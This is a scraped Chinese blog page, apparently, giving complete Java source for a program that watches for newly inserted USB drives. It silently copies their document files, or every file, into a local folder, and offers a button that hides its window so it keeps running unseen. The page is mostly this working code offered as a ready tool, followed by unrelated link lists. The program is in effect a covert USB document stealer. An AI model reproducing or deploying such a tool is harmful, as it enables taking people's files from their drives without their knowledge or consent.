java程序u盘照片自动复制粘贴,java兑现u盘指定内容的自动复制
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
public class USBMain {
public static void main(String[] args) {
USBMain u = new USBMain();
u.launchFrame();
//开启盘符检查线程
new CheckRootThread().start();
}
// 界面
private void launchFrame() {
final JFrame frame = new JFrame();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLocation(450, 250);
JButton hide = new JButton("点击隐藏窗口");
// 点击按钮后隐藏窗口事件监听
hide.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
frame.setVisible(false);
}
});
frame.add(hide);
frame.pack();
frame.setVisible(true);
}
}
二、CheckRootThread类,此类用于检查新盘符的出现,并触发新盘符文件的拷贝。 import java.io.File;
//此类用于检查新盘符的出现,并触发新盘符文件的拷贝
public class CheckRootThread extends Thread {
// 获取系统盘符
private File[] sysRoot = File.listRoots();
public void run() {
File[] currentRoot = null;
while (true) {
// 当前的系统盘符
currentRoot = File.listRoots();
if (currentRoot.length > sysRoot.length) {
for (int i = currentRoot.length - 1; i >= 0; i--) {
boolean isNewRoot = true;
for (int j = sysRoot.length - 1; j >= 0; j--) {
// 当两者盘符不同时,触发新盘符文件的拷贝
if (currentRoot[i].equals(sysRoot[j])) {
isNewRoot = false;
}
}
if (isNewRoot) {
new CopyThread(currentRoot[i]).start();
}
}
}
sysRoot = File.listRoots();
//每5秒时间检查一次系统盘符
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
三、CopyThread类,用于文件遍历并选择指定文件格式进行复制: import java.io.File;
//该类用于对新盘符文件的复制
public class CopyThread extends Thread {
// 设置要复制的文件类型,如果要复制所有格式的文件,将fileTypes设为null即可
private static String[] fileTypes = {"ppt","doc","txt","wps"};
// private static String[] fileTypes = null;
File file = null;
public CopyThread(File file) {
this.file = file;
}
public void run() {
listUsbFiles(file);
}
//遍历盘符文件,并匹配文件复制
private void listUsbFiles(File ufile) {
File[] files = ufile.listFiles();
for (File f : files) {
if (f.isDirectory()) {
listUsbFiles(f);
} else {
if (fileTypeMatch(f))
new CopyFileToSysRoot(f).doCopy();
}
}
}
//匹配要复制的文件类型
public boolean fileTypeMatch(File f) {
//fileTypes为null时,则全部复制
if (fileTypes == null) {
return true;
} else {
for (String type : fileTypes) {
if (f.getName().endsWith("." + type)) {
return true;
}
}
}
return false;
}
}
四、CopyFileToSysRoot类,复制文件的IO流实现: import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
//文件复制IO
public class CopyFileToSysRoot {
// 复制文件保存路径
private static final String PATH = "D:\\USB";
private File file = null;
public CopyFileToSysRoot(File file) {
this.file = file;
}
// 复制文件
public void doCopy() {
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
try {
//创建目录
File fPath = new File(getFileParent(file));
if (!fPath.exists()) {
fPath.mkdirs();
}
bis = new BufferedInputStream(new FileInputStream(file));
bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,
file.getName())));
byte[] buf = new byte[1024];
int len = 0;
while ((len = bis.read(buf)) != -1) {
bos.write(buf, 0, len);
bos.flush();
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
if (bis != null)
bis.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
if (bos != null)
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
// 根据盘符中文件的路径,创建复制文件的文件路径
public String getFileParent(File f) {
StringBuilder sb = new StringBuilder(f.getParent());
int i = sb.indexOf(File.separator);
sb.replace(0, i, PATH);
return sb.toString();
}
}
java程序u盘照片自动复制粘贴,java兑现u盘指定内容的自动复制相关推荐
- php保存复制粘贴的网页内容,JS实现网站内容的禁止复制和粘贴、另存为
JS实现网站内容的禁止复制和粘贴.另存为 google搜索"document.οncοntextmenu=true;document.onselectstart=true"会有更多 ...
- 控制台编写JAVA程序教程_写一个java程序的步骤是什么?写java程序技巧
写Java程序是要按照步骤来的,这样才能写好一个java程序,那么接下来,我们就来给大家讲解一下写一个java程序的步骤是什么? (1)创建Java项目:"FileàNewàProjectà ...
- Java程序员找工作很难吗?可能没有get这些内容
Java程序员找工作很难吗?可能没有get这些内容 五分钟阅读下方文章 经常面试一些候选人,整理了下我面试使用的题目,陆陆续续整理出来的题目很多,所以每次会抽一部分来问.答案会在后面的文章中逐渐发布出 ...
- 2019最新Java程序员面试指南——HR的套路+Java常见技术点
本文转载自:2019最新Java程序员面试指南--HR的套路+Java常见技术点 面试是件既简单又复杂的事情,也正是因为简单和复杂的两面性,所以Java程序员在面试的时候要多学些面试技巧,当然技术也不 ...
- vue右键复制粘贴功能_这可能是最高效的复制粘贴方法
2020.10.11 更新 左键+右键功能已经全新升级为"左键辅助",支持自定义左键+右键.侧键.以及键盘任意字母组合的操作触发. ==============原文======== ...
- java 终端窗口是什么,java程序如何打开命令行窗口?java程序怎么运行?
我们在编写Java程序以后都会在集成开发环境中运行程序,那么java程序如何打开命令行窗口?接下来,我们就来给大家讲解一下java程序打开命令行窗口的方法. 首先我们在命令行运行Java程序需要借助j ...
- JAVA 程序员的宝藏 AI 工具箱 – Deep Java Library (DJL)
前言 这几年深度学习的爆发带来了一个未曾预料到的结果,Python 这个曾经小众的语言突然之间变得炙手可热.究其原因,在Python 的生态中我们可以容易的找到许多的资源.例如,NumPy用于数据计算 ...
- Java程序员应该看的14本Java书籍!
关乎于程序员,除了做项目来提高自身的技术,还有一种提升自己的专业技能就是:多!看!书! 毕竟,书是学习的海洋呢!So,Java程序员你们准备好了吗?双手奉上Java程序员必读之热门书单. 在下面这 1 ...
- java启动提示错误怎么解决方法,java 程序 生成可执行文件exe ,运行出现java exception 错误提示框,解决方法思路...
最近在写了mina框架的服务端,写完程序在Eclipse环境下运行均是正常的,然后按照之前写的博客 windows环境下将java注册成为开机自启动服务, 生成windows下可执行文件exe格式,按 ...
最新文章
- R语言readLines函数、n.readLines函数、readline函数读取文本文件实战
- java基础---serializable的作用
- 【Groovy】MOP 元对象协议与元编程 ( 方法注入 | 使用 Category 分类进行方法注入的优缺点 )
- docker java 最小镜像_docker构建JDK最小镜像
- 抽象类 VS 接口 (3)
- c语言Linux用线程创建文件,Linux环境下C语言线程创建---简单代码
- Default process group has not been initialized, please make sure to call init_process_group
- Mac笔记本Postman升级为新版本后,打开时一直转圈,无法使用
- 基于matlab的高等数学,基于matlab的高等数学实验详解.ppt
- BGP 基本配置参考
- python爬虫豆瓣推理书籍及链接
- Ricequant-估值因子的分析
- AUTOCAD——窗口缩放
- 7. 测度论-有限维乘积测度和Fubini定理
- mysql netbeans_关于netbeans与mysql连接问题
- 不得不学,从零到一搭建ELK日志,Docker环境下部署 logstash工具
- C++ 点(.)操作符和箭头(-)操作符
- 解决U盘使用DVD镜像安装Fedora15需要联网的问题
- 2022-2028年全球与中国车辆传感器行业发展趋势及投资战略分析
- 微信分享不显示右边缩略图
热门文章
- linux查看磁盘使用总量,linux查看磁盘使用情况命令
- php视频设置背景音乐,怎么给视频配上应景的背景音乐?视频添加背景音乐的方法|视频添加配乐的软件...
- 基于ssm框架的驾校预约管理系统
- Motorola USB Driver v5.9.0 for Windows
- NIH降血脂指南《your guide to lowering your Cholesterol with TLC》笔记
- 最全解析:部署跨境电商erp系统前需要做哪些准备?
- WF4.0 基础篇 (二十七) WCF Workflow Service 在WCF中使用WF
- igs无法分配驱动器映射表_如何同步本地文件到网络驱动器/NAS?
- tensorflow的sess.run的参数执行顺序
- 数据分析笔记--matplotlib(二) 解决关于x,y轴不为数字的情形和中文显示实例